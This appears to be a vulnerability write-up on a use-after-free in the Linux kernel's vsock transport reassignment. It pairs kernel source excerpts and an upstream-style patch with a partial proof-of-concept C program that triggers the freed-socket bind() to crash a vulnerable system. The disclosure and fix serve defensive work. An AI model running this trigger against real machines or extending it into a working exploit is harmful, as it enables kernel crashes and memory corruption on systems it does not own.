1
Preserve sockets bindings; this includes both resulting from an explicit
2
bind() and those implicitly bound through autobind during connect().
3

4
Prevents socket unbinding during a transport reassignment, which fixes a
5
use-after-free:
6

7
    1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2)
8
    2. transport->release() calls vsock_remove_bound() without checking if
9
       sk was bound and moved to bound list (refcnt=1)
10
    3. vsock_bind() assumes sk is in unbound list and before
11
       __vsock_insert_bound(vsock_bound_sockets()) calls
12
       __vsock_remove_bound() which does:
13
           list_del_init(&vsk->bound_table); // nop
14
           sock_put(&vsk->sk);               // refcnt=0

1
struct vsock_transport {
2
  struct module *module;
3

4
  /* Initialize/tear-down socket. */
5
  int (*init)(struct vsock_sock *, struct vsock_sock *);
6
  void (*destruct)(struct vsock_sock *);
7
  void (*release)(struct vsock_sock *);
8
    ...
9
};

1
static int vsock_connect(struct socket *sock, struct sockaddr *addr,
2
       int addr_len, int flags)
3
{
4
  ...
5
    err = vsock_assign_transport(vsk, NULL);
6
  ...
7
}

1
int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk)
2
{
3
  const struct vsock_transport *new_transport;
4
  struct sock *sk = sk_vsock(vsk);
5
  unsigned int remote_cid = vsk->remote_addr.svm_cid;
6
  __u8 remote_flags;
7
  int ret;
8

9
  ...
10
  if (vsk->transport) {
11
    if (vsk->transport == new_transport)
12
      return 0;
13

14
    /* transport->release() must be called with sock lock acquired.
15
     * This path can only be taken during vsock_connect(), where we
16
     * have already held the sock lock. In the other cases, this
17
     * function is called on a new socket which is not assigned to
18
     * any transport.
19
     */
20
    vsk->transport->release(vsk);
21
    vsock_deassign_transport(vsk);
22

23
    /* transport's release() and destruct() can touch some socket
24
     * state, since we are reassigning the socket to a new transport
25
     * during vsock_connect(), let's reset these fields to have a
26
     * clean state.
27
     */
28
    sock_reset_flag(sk, SOCK_DONE);
29
    sk->sk_state = TCP_CLOSE;
30
    vsk->peer_shutdown = 0;
31
  }
32
  ...
33
  vsk->transport = new_transport;
34

35
  return 0;
36
}
37
EXPORT_SYMBOL_GPL(vsock_assign_transport);

1
static void __vsock_release(struct sock *sk, int level)
2
{
3
...
4
    vsock_remove_sock(vsk);
5
...
6
}
7
...
8
void vsock_remove_sock(struct vsock_sock *vsk)
9
{
10
  vsock_remove_bound(vsk);
11
  vsock_remove_connected(vsk);
12
}
13
EXPORT_SYMBOL_GPL(vsock_remove_sock);
14
...
15
static void __vsock_remove_bound(struct vsock_sock *vsk)
16
{
17
  list_del_init(&vsk->bound_table);
18
  sock_put(&vsk->sk);
19
}

1
/* Ungrab socket and destroy it, if it was the last reference. */
2
static inline void sock_put(struct sock *sk)
3
{
4
  if (refcount_dec_and_test(&sk->sk_refcnt))
5
    sk_free(sk);
6
}

1
static int __vsock_bind(struct sock *sk, struct sockaddr_vm *addr)
2
{
3
  struct vsock_sock *vsk = vsock_sk(sk);
4
  int retval;
5

6
  /* First ensure this socket isn't already bound. */
7
  if (vsock_addr_bound(&vsk->local_addr))
8
    return -EINVAL;
9
  ...
10
}

1
  /* Remove connection oriented sockets from the unbound list and add them
2
   * to the hash table for easy lookup by its address.  The unbound list
3
   * is simply an extra entry at the end of the hash table, a trick used
4
   * by AF_UNIX.
5
   */
6
  __vsock_remove_bound(vsk);
7
  __vsock_insert_bound(vsock_bound_sockets(&vsk->local_addr), vsk);

1
...
2
int main(void) {
3
...
4
    // wait for input
5
    puts("Setup Finished...");
6
    getchar();
7

8
  s = socket(AF_VSOCK, SOCK_STREAM, 0);
9
  if (s < 0) {
10
    perror("socket");
11
    exit(EXIT_FAILURE);
12
  }
13

14
  if (!connect(s, (struct sockaddr *)&addr, alen)) {
15
    fprintf(stderr, "Unexpected connect() #1 success\n");
16
    exit(EXIT_FAILURE);
17
  }
18
  // connect() #1 failed: transport set, sk in unbound list.
19

20
  addr.svm_cid = VMADDR_CID_NONEXISTING;
21
    addr.svm_port = VMADDR_PORT_ANY;
22
  if (!connect(s, (struct sockaddr *)&addr, alen)) {
23
    fprintf(stderr, "Unexpected connect() #2 success\n");
24
    exit(EXIT_FAILURE);
25
  }
26
  // connect() #2 failed: transport unset, sk ref dropped?
27

28
    // wait for input
29
    puts("Press for Crash...");
30
    getchar();
31

32
  // Vulnerable system may crash now. [USE THE DANGLING POINTER]
33
  bind(s, (struct sockaddr *)&addr, alen);
34

35
    // wait for input
36
    getchar();
37

38
  close(s);
39
  while (i--)
40
    close(sockets[i]);
41
}

1
--- a/net/vmw_vsock/af_vsock.c
2
+++ b/net/vmw_vsock/af_vsock.c
3
@@ -336,7 +336,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
4

5
 void vsock_remove_sock(struct vsock_sock *vsk)
6
 {
7
-  vsock_remove_bound(vsk);
8
+  /* Transport reassignment must not remove the binding. */
9
+  if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
10
+    vsock_remove_bound(vsk);
11
+
12
   vsock_remove_connected(vsk);
13
 }
14
 EXPORT_SYMBOL_GPL(vsock_remove_sock);
15
@@ -820,12 +823,13 @@ static void __vsock_release(struct sock *sk, int level)
16
    */
17
   lock_sock_nested(sk, level);
18

19
+  sock_orphan(sk);
20
+
21
   if (vsk->transport)
22
     vsk->transport->release(vsk);
23
   else if (sock_type_connectible(sk->sk_type))
24
     vsock_remove_sock(vsk);
25

26
-  sock_orphan(sk);
27
   sk->sk_shutdown = SHUTDOWN_MASK;
28

29
   skb_queue_purge(&sk->sk_receive_queue);